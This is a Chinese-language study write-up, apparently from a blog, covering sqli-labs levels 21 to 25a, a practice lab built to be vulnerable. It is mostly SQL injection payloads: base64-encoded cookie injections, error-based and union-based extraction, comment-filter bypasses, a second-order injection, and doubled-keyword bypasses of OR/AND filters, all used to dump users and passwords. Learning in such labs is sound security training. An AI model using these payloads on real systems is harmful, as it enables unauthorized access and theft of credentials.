sql-labs 闯关 21~25
友善爱国法治诚信富强友善公正爱国和谐友善爱国爱国友善自由民主爱国友善公正
复习笔记1
内容:
- sql-labs第21关(Cookie注入-base64编码-单引号和括号)
- sql-labs第22关(Cookie注入-base64编码-双引号)
- sql-labs第23关(GET请求-基于错误-过滤注释)
- sql-labs第24关(POST请求-二次注入*真实处理-储存注入)
- sql-labs第25关(GET请求-基于错误-过滤OR&AND-字符单引号)
- sql-labs第25a关(GET请求-基于盲注-过滤OR&AND-基于数值型)
1. sql-labs第21关
这关还是post请求
随便输入,登录失败,那试试输入正确的账号密码,看看结果会不会不一样
输入dumb之后,页面反馈的就不一样了,不过cookie那的uname值看着好奇怪,可能被加密了,不过我对这方面的了解不深,看着不像是Unicode和ASCII编码,暂时先不管,先抓包改cookie值看看能不能绕过
没绕过去,只能去找找加密方式,再去试试用加密方式输入,用bugku在线工具成功找出,这关的加密方式是base 64
将dumb'
加密后再输入,页面出现报错信息了,从信息上看闭合点是’)
闭合点确定是’),那我可以快乐的开始报错注入了
没加密前的语句是:
dumb') and updatexml(1,concat(0x7e,database(),0x7e),1)#
加密后的语句是:
ZHVtYicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIw==
爆库
没加密前的语句是:
dumb') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
加密后的语句是:
ZHVtYicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScpLDB4N2UpLDEpIw==
爆表
没加密前的语句是:
dumb') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
加密后的语句是:
ZHVtYicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyBhbmQgdGFibGVfbmFtZT0ndXNlcnMnKSwweDdlKSwxKSM=
爆字段
没加密前的语句是:
dumb') and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)#
加密后的语句是:
ZHVtYicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSkgZnJvbSB1c2VycyksMHg3ZSksMSkj
爆数据
2. sql-labs第22关
欢迎界面跟上关没什么差别,输入dumb,查看
又是cookie那块的uname用base64编码了
用双引号判断法尝试,出现报错信息,且闭合点是"
100%确定闭合点就是"
没加密前:
dumb" and extractvalue(1,concat(0x7e,database(),0x7e))#
加密后:
ZHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw==
爆库
没加密前:
dumb" and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e))#
加密后:
ZHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpKSwweDdlKSkj
爆表
没加密前:
dumb" and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x7e))#
加密后:
ZHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKWZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWU9J3VzZXJzJyksMHg3ZSkpIw==
爆字段
没加密前:
dumb" and extractvalue(1,concat(0x7e,(select group_concat(username)from users),0x7e))#
加密后:
ZHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lKWZyb20gdXNlcnMpLDB4N2UpKSM=
爆数据
3. sql-labs第23关
这关又回到了我喜欢的get请求,我的harkbar插件终于有用武之地了
输入?id=1
查看页面
输入?id=1 and 1=2
查看页面,如果不同那么就说明这是数值型的
输入?id=1'
页面不仅报错了,说明很可能是单引号闭合,还有mysqli_fetch_array()函数警告,看完mysqli_fetch_array()函数描述,我还是不知道哪出问题了,先去看看源代码
那从源代码来看,不能用注释来绕过了,然后这时候百度的作用就来了,有两种解决办法,一种是用and或or语句进行闭合,还有一种是用一种特殊的注释符,针对于sql-labs特殊使用的注释符;%00
1.用and或or语句进行闭合
按照大佬的博客提示来输入?id=1' and '1'='2
,页面不一样了,可能这个方法可行
判断列数时输入?id=1' order by 1000 and '1'='2
,出现了不管我输入多少,页面显示的都是成功的问题,没整明白啥原因,不过总有大佬能告诉我答案,总的来说就是MySQL的执行顺序搞的鬼,为了快速查看,我截图贴上,完整版请点击下方链接,建议点击学习~
那接下来就在2的位置开始完成这关的任务
?id=-1' union select 1,database(),3 and '1'='1
爆库
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 and '1'='1
爆表
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3 and '1'='1
爆字段
?id=-1' union select 1,(select group_concat(username) from users ),3 and '1'='1
爆数据
2.用特殊使用的注释符;%00进行闭合
按照大佬的博客提示来输入?id=1' ;%00
,页面没有显示报错了,这个方法可行性较高哦
判断列数
输入?id=-1' union select 1,2,3 ;%00
查看回显位
输入?id=-1' union select 1,version(),database() ;%00
爆库
?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() ;%00
爆表
?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users';%00
爆字段
?id=-1' union select 1,group_concat(username),group_concat(password)from users ;%00
爆数据
这个特殊注释符我还是第一次看到,学到了学到了
4. sql-labs第24关
这关界面第一次见,在文本框内输入的错误的账号密码
输入正确的账号慢慢,页面显示这样的
再试试下面两个链接
这个改密码给的建议还真是秒哇,杜绝了用户在改密码的注入
这个注册链接居然还会给机会,随便输入了1,看样子好像注册成功了,去看看数据库
那就用单引号或双引号来尝试闭合
但是不管我是用单引号判断法还是双引号判断法都不能出现报错信息
我又想起第二关还是第三关注入点是数值型的,这关可能也这样,然后输入了1 and 1=2
,又成功注册了,我只能寄希望于抓包了
第一个页面已经探索完了,现在去第二个页面探索一下
又成功的改了密码
我不会了,我去看看源代码到底是什么东西,这么难。我是没想到,这关有8个源文件,通过前期的摸索再加上粗略查看后,pass_change.php文件的代码比其他的都重要,经过长达半小时的找不同,还是发现了一点端倪
首先username变量是从SESSION那里获取的值,没有跟curr_pass、pass、re_pass一样被转义,其次这个变量直接用更新语句里头了没有做任何转义过滤等操作,那么把这搞定有很大的可能就结束了。不过,我搞不定,需要召唤大佬登场了。写的好详细,我还搁这自己分析老半天
SQLi-Labs less 24
Sqli-labs之Less-24(二次注入)
Sqli-Labs:Less 24*
照着打,把密码改成123,再去看数据库数据改变情况
这关成功的方式也跟以往不同,不用再爆数据库名了
5. sql-labs第25关
这关的欢迎界面又变了,这段英语大概是说or和and都被过滤了,那是时候试试sql注入绕过方法了,百度也有一些别的方式
先判断闭合点,输入?id=1'
,报错了
输入?id=1'--+
似乎成功闭合
接下来就先试试这四种绕过方式了,百度上的以后再试吧
用大小写绕过注入尝试,输入?id=1' Order by 3--+
,结果很明显,失败了
用双写绕过注入尝试,输入?id=1' oorrder by 3--+
,成功绕过。再继续试试
用编码绕过注入尝试,使用在线编码,输入or
再点击hex编码,得到结果为%6f%72
,再次编码,得到结果为%25%36%66%25%37%32
,最后在url处输入?id=1' %25%36%66%25%37%32der by 3 --+
,查看结果,发现失败了
用内联注释绕过注入尝试,输入?id=1' /*!or*/der by 3 --+
,失败
如果我没用错方式的话,这关只有双写可以绕过,输入?id=-1' union select 1,2,3 --+
确定回显位,接下来就开始爆数据了
输入?id=-1' union select 1,database(),version() --+
爆库
?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+
爆表
?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'--+
爆字段
?id=-1' union select 1,group_concat(username),group_concat(passwoorrd) from users--+
爆数据
6. sql-labs第25a关
欢迎界面跟上关差不多,字体颜色变了而已,正常输入?id=1
输入?id=1 aandnd 1=2
,页面改变了,那就说明这关的类型是数值型,省了试闭合点,真好
用反斜杠判断法,查看闭合点,发现这关隐藏了报错信息。(如果没有按照注入步骤来的话,我可能会在这里卡很久,才能反应过来,这关的类型是数值型。在这感谢杨晔老师总结的步骤,让我少走弯路)
早就知道是3列了,跳过这一步,直接输入?id=-1 union select 1,2,3 --+
,看回显位
输入?id=-1 union select 1,database(),version() --+
爆库
?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+
爆表
?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'--+
爆字段
?id=-1 union select 1,group_concat(username),group_concat(passwoorrd) from users--+
爆数据